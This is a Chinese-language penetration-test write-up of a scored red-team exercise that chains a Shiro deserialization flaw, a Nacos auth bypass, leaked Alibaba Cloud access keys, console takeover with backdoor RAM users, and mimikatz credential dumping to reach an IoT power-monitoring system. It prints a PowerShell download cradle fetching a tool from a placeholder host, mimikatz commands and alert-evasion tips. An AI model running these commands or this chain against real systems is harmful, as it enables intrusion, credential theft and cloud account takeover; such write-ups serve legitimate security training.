【漏洞案例】云上攻防-记一次打穿云上内网的攻防实战

news2024/11/16 7:39:46

        

0x01 外网打点,但在云上

目标单位就给出了一个子域名和一个IP,访问给出的子域名就一个登录框,测试了下忘记密码处有用户名枚举,但登录功能做了登录失败处理,知道用户名也无法进行爆破。

登录时会调用api.target.com域名下的接口,对api.target.com进行目录扫描,也仅发现接口文档泄漏,价值不大。

于是转向信息收集去找找其他子域名,通过fofa或者oneforall可以找到很多的子域名,当时也没有一个一个去测,也忘记了当时是怎么一下子就找到了有大洞的子域名vuln.target.com的。

访问该域名也是一个登录框,不过看界面似曾相识,感觉会存在shiro反序列化漏洞,于是Burp挂上shiro的扫描插件,输个admin/123456,果不其然,登录时调用的service.target.com域名下的接口探测到了shiro:

看看能不能爆破出密匙:

summerSec的shiroattack直接干:

www权限,很低,无法注入内存马,于是先反弹shell,尝试提权,但试过使用脚本扫描出来的脏牛,cve-2021-4034都失败了。转换思路,提不了权就不提了,直接上代理打内网。于是frp搭建socks5代理,进入内网,1000分到手。同时,也查了下该服务器的外网IP,是一台阿里云服务器,内核提权用不了也就不奇怪了。

0x02 从OSS到接管云控制台

进入内网,首先上内网扫描神器fscan无脑扫一波,扫出的东西比较少,就扫到了一些web端口,价值不太大的接口文档的未授权访问,docker-api未授权访问,我的关注点首先在这个洞上面:

poc-yaml-alibaba-nacos-v1-auth-bypass

思路是通过nacos的权限认证绕过漏洞进去后查看配置文件,在云环境下,应该会有一些价值大的东西。

1.Nacos权限认证绕过

这个漏洞的利用需要抓包修改UA头并在POST请求的body中发送要添加的用户名和密码。

遇到的问题是如何让数据包先经过本地的burp再通过代理发送给目标内网呢?

试过了在burp中配置代理和在proxifier中配置代理链两种方法,但当我挂上burp后都无法访问到目标的内网了。于是,我使用了渗透版火狐的hackbar来完成漏洞的利用:

2.查看Nacos配置,查找有价值信息

果不其然,进去后看到好几个配置文件,体力活,逐一翻阅。

找到了RabbitMq的账号密码,redis的密码,sqlserver数据库的密码。结合fscan扫描出来的端口信息作对比,通过代理都能够成功登录。

价值比较大的是找到了一对阿里云的AK和SK。

接下来,云上内网的渗透才正式开始,这里不得不提一下 teamssix师傅写的云环境利用框架cf了。

项目地址:GitHub - teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便安全人员在获得 AK 的后续工作

操作手册:CF 云环境利用框架使用手册 | T Wiki

3.OSS资源中的信息收集

将获取到的AK和SK配置到cf中,查看权限为仅能列出和下载OSS资源,庆幸的是OSS中的东西倒是挺多的。各个Bucket的数据量加起来有三十个G左右,通过Bucket的命名也能大致知道各个Bucket大概存储的是什么东西了。

由于总数据量太大,这里的信息收集是根据Bucket的名字和Bucket数据量大小来综合判断其可能包含的信息及价值性。

比如有个bucket叫target-database,600多兆,下载下来是一个.bak文件,应该是数据库备份;有个bucket叫target-cdn,差不多4G,存储的应该是cdn的一些静态资源,价值应该不大,没下载;有个bucket叫target-model,差不多25G,知道该公司是做电力相关的,里面应该是一些电力相关的图纸或3D模型之类的吧?这个也没下载。

这里直接说结果吧,有个存储桶叫target-cloud,40M,在里面找到一个配置文件,有另一对阿里云AK和SK。

不得不说,有了思路之后,信息收集就完全是个体力活了,此处从OSS资源中信息收集的思路来自于teamssix师傅的这篇文章:我用 CF 打穿了他的云上内网 - 火线 Zone-安全攻防社区

4.接管云控制台

将从OSS中获取到的AK和SK配置到cf中,查看权限:

爽歪歪,列出ecs有十来台,看名称,都是业务服务器,该公司应该是把业务都放到了云上。其中一台是winserver 2022,其余都是Linux。cf中执行

cf alibaba ecs exec -b

获取到的都是最高权限。

接下来创建了一个RAM后门用户接管控制台:

接管控制台后,看到有RDS,是个mysql数据库,首先想到的是找账号密码,但经过一番操作在Linux的ecs实例上未能找到。

后面才突然醒悟,脑子瓦特了,OSS中不是有一个数据库备份文件嘛,于是,在本地的mysql数据库中导入该备份文件,果然看到了一些用户信息。心想,外网打点进入内网,拿下十来台云服务器,成功登录一些应用、数据库,查看到用户信息,分数应该差不多满了吧。但只给了1600分,云服务器20分一台,服务器权限和服务器上的应用、数据库是不叠加给分的,按最高者给分。云服务器那么贵,一台才20分(衰),太难了。。。

0x03 发现另一个云内网

重新整理思路后,我把目光转向了内网的那台winserver 2022。由于是云服务器于是我先到控制台中的云市场看了历史订单确认没有买安全服务,大概是目标单位买云服务器已经花了很多钱,没预算买安全服务了(狗头)

测试了下这台windows虽然没外网IP,但是出网的,想着上传一些工具去抓取浏览器中的密码,但使用常用的certutibitsadmin提示拒绝访问,应该是被禁止使用了,于是使用powershell,可以成功下载:

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip:port/pwdump8.exe','c:/pwdump8.exe')

但运行发现被杀了,立马tasklist /svc查看,有windowsDefender!!!

网上搜索了一波,命令行下如何关闭windowsDefender,但给的方法都是要修改注册表,重启生效。方法太鸡肋。自己又太菜,无法免杀过windowsDefender。

转换了下思路,直接命令行查找吧,于是首先查看桌面有啥东西没,居然有个Aliyun.txt!!!我一查看,我滴乖乖,里面写了两对AK和SK!!!其中一对,是我从OSS中获取到的AK和SK。我把另一对配置进cf,查看权限,也是具有管理员权限的:

仅有几台ecs,一台是winserver 2008,具有外网IP,其余都是Linux,都只有内网IP。同样创建了一个RAM后门用户接管云控制台,查看了云市场没有买安全服务,tasklist /svc查看只有阿里云盾,且两个云内网之间不通,我有预感,快要打穿了。

0x04 从云内网到IOT,打穿

没安全服务,没杀软,这不得随便干?于是从vps上下载frp,fscan。fscan无脑扫只扫到了一些web端口,没啥漏洞。

又切换思路,直接用mimikatz抓取winserver 2008明文密码,通过代理或控制台进行远程登陆,搜集信息。

我在cf中执行的抓取密码命令是:

cf alibaba ecs -i 实例ID exec -c "c:&&cd c:\&&mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords full' exit > c:\pass.txt"

执行完后通过type命令查看等了好久都没有结果返回,猜测可能是是单双引号的问题,mimikatz抓取密码的原命令是:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > c:\pass.txt

这里因为cf的-c 参数内容需要用双引号包裹,我就把原命令的双引号改成了单引号,自己本地测试,确实是因为这个问题:

于是,我使用pwdump8先获取hash,再利用pth攻击获取到反弹回来的winserver 2008的shell,再执行mimikatz命令抓取密码,果然可行,获取到了winserver 2008的明文密码。

最后,通过控制台去登录,获取到的东西可不少,谷歌浏览器中存储着一些应用系统、阿里云平台的登录账号密码(当然有短信验证,未能登录),Xshell连接着几台远程的服务器,SqlServer数据库直接获取,表名还有iot字样,通过桌面的向日葵成功远程到了电力监测系统,物联网访问即控制,不解释,该单位已被打穿,3000满分到手!!!

0x05 经验与总结

1.信息收集和思路的转变很重要,有了思路,信息收集似乎是个体力活。

2.云服务器别反弹shell,必然会报警,通过cf来执行命令就行;通过云控制台进行远程登陆,应该不会产生报警;fscan在云内网中无脑扫尚不清楚会不会触发报警。

3.在一个内网中,如果有多台Linux和少量winserver,直接对winserver进行信息收集价值可能会更大,原因是由于习惯问题,图形化的windows更方便用来管理资产吧~

4.梳理下攻击过程:

外网shiro反序列化漏洞-->内网Nacos权限认证绕过-->从Nacos配置文件中获取到OSS权限的AK和SK-->OSS资源的信息收集获取到具有管理员权限的AK和SK-->Winserver 2022信息收集获取另一对具有管理员权限的AK和SK-->抓取winserver 2008的明文密码进行登录-->访问到iot,打穿

5.云渗透需要结合云服务自身的特点以及传统安全的渗透手法,云渗透我也是第一次接触,还有很多东西需要补,这次是靠着T师傅写的cf打穿云内网,运气也算是好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/695677.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CICflowmeter安装使用

项目地址:https://github.com/ahlashkari/CICFlowMeter前置条件:maven,winpcap或其他抓包工具,ideal或 Eclipse 用 ideal 打开项目,发现还需要 jnetpcap 包,但是 maven 仓库好像没有,自己编译 …

思科(Cisco)日志分析工具

作为网络安全管理员,实时监控和分析思科防火墙日志至关重要。对于安全网络,管理员需要: 检测各种网络攻击,并查明攻击的来源和类型(思科实时日志查看器)。跟踪思科防火墙上未经授权的登录尝试。获取有关活…

PHP OA协同办公管理系统mysql数据库web结构apache计算机软件工程网页wamp

一、源码特点 PHP OA协同办公管理系统 是一套完善的web设计系统,对理解php编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 代码下载 https://download.csdn.net/download/qq_41221322/87959360https://do…

wireshark抓包工具常用功能

wireshark工具面板如下图所示: 本文记录我比较常用的功能。如果有大佬还用过其他功能麻烦指点一二。 抓包、查找、过滤、数据分析。 菜单工具栏: 设置时间戳格式: 为了方便自己查看,把时间戳格式设置为自己认为比较好看的格式…

ThinkPHP6 请求

ThinkPHP6 请求 前言一、 获取请求二、request其他方法三, 请求信息总结 前言 什么是请求,就是 G E T 和 _GET和 G​ET和_POST类似的东西 一、 获取请求 获取请求可以使用$_GET、$_POST、$_REQUEST、$_SERVER、$_SESSION、$_COOKIE、$_ENV等系统变量,也可…

Android——快速设置Quick Settings Tile(创建自定义快速设置磁贴)

Android——快速设置Quick Settings Tile(创建自定义快速设置磁贴) 简介快速设置磁贴的使用场景创建磁贴创建自定义图标创建并声明你的tile服务 管理你的tile服务TileService生命周期选择监听模式Active mode (推荐)Non-active mode Tile状态更新Tile处理…

字节跳动云原生大数据平台运维管理实践

云原生大数据是大数据平台新一代架构和运行形态。随着字节跳动内部业务的快速增长,传统大数据运维平台的劣势开始逐渐暴露,如组件繁多,安装运维复杂,与底层环境过度耦合;对业务方来说缺少开箱即用的日志、监控、告警功…

第7讲:使用ajax技术实现弹出商品详情提示功能(xml数据)

使用ajax技术使用ajax技术实现弹出商品详情提示功能,本案例使用原生态xmlhttprequest对象,GET方法异步通讯,后台使用map保存搜索数据,查询到对应数据后,返回xml格式数据,前端使用responseXML属性返回xml格式…

Android模拟器无法启动

在Android 13版本上,关于“复制”有了新的变化,但是我在我的小米手机(也是Android 13版本的)上测试没有看到对应的变化,所以想运行一个Android 13的模拟器来测试看看,结果死活运行不起来,一直卡…

el-dialog父子传值弹窗实现(弹窗内容较多时分开写)

需求:父组件点击按钮后打开弹窗,但是因为弹窗内容巨多,直接提取出来,只要在父组件点击时才显示弹窗,并且传递值给弹窗做数据回显,编辑或者新增功能都可以。 1.首先建立父子关系 创建个弹窗组件dialog.vue&…

HTML5+CSS3+JS小实例:悬停滚动文字的导航栏

实例:悬停滚动文字的导航栏 技术栈:HTML+CSS+JS 效果: 源码: 【html】 <!DOCTYPE html> <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content=…

Sql Server 获取连续日期时间

获取连续日期时间 在项目中&#xff0c;有时候需要按日期/时间统计&#xff0c;例如2023-06-21至2023-06-28期间每一天的数据&#xff0c;如果某一天没有数据&#xff0c;也要查询出来&#xff0c;用NULL处理。 1.示例 2.连续日期效果SQL DECLARE StartDate DATE 2023-06-2…

Vision Pro中VR游戏空间边界为3×3米圆形

6月25日青亭网报道&#xff0c;此前我们已经报道了苹果visionOS有三种应用类型&#xff1a;FullSpaces、Windows、Volume。其中FullSpaces是仅显示一款应用的类型&#xff0c;后两种为共享空间可多窗口、多应用显示。 在FullSpaces模式下&#xff0c;苹果的一份文档显示visionO…

应用层控制灯,自动创建设备节点,ioctl函数

目录 1. 使用应用层控制灯 1.1. 撰写驱动的.c文件 1.2. 撰写应用层的.c文件 1.3. 撰写makefile文件 1.4. 测验 2. 自动创建设备节点 2.1. 函数分析 2.2. 撰写驱动.c文件 2.3. 修改应用层.c文件 2.4. 编写makefile文件 2.5. 在开发板安装.ko驱动 3. ioctl函数&#…

2023年最新互联网Java面试八股文出炉(附大厂P5-P8技术栈)

为什么感觉 Java 面试变难了&#xff1f; 几年前&#xff0c;你只需要简单的ssm框架&#xff0c;就能轻松找到一份Java的工作&#xff0c;但现在不一样了&#xff0c;随着涌入这个行业的人越来越多&#xff0c;同一个岗位需要筛选掉更多人&#xff0c;要求自然水涨船高&#x…

mysql大文件导入sql,没有配置my-ini的情况下,或者配置文件不生效命令修改

找到mysql的bin用管理员登录mysql mysql -u root -p 修改最大传输包 set global max_allowed_packet 510241024*100;

3D扫描仪在汽车零部件产业的应用零部件逆向设计偏差检测-CASAIM

汽车零部件作为汽车工业的基础&#xff0c;是支撑汽车工业持续健康发展的必要因素。当前汽车行业正在轰轰烈烈、如火如荼开展的自主开发与创新&#xff0c;需要高效的零部件设计和质量控制解决发方案&#xff0c;CASAIM 3D扫描仪在汽车零部件产业中具有广泛的应用。 1. 零部件逆…

vue3案例2

效果图&#xff1a; <template><section><aside><ul class"nav-ul"><liclass"nav-li":class"nav.active && grey-li"v-for"nav in navArr":key"nav.id"click"onNav(nav)&qu…

实在RPA数字员工横扫618“物流拦截”难题,晨光拦截效率狂飙20倍!

历时三年疫情后&#xff0c;电商首个618大促告捷。 “百亿补贴”“击穿底价”“全网最低”“天天都是618”……在天猫的618启动会上&#xff0c;淘天集团CEO戴珊宣布这将是“历史上最大投入的一届618”&#xff1b;紧随其后的京东618启动会上&#xff0c;京东零售CEO辛利军也高…

消息队列中间件(二)- RabbitMQ(一)

RabbitMQ&#xff08;一&#xff09; 概念核心概念模式 名词安装 概念 接收&#xff0c;存储&#xff0c;转发消息 核心 概念 生产者 交换机 队列 消费者 模式 简单模式 工作模式 发布 路由模式 主题模式 发布订阅模式 名词 Broker 接收和分发消息的应用Virtual host 虚拟分组…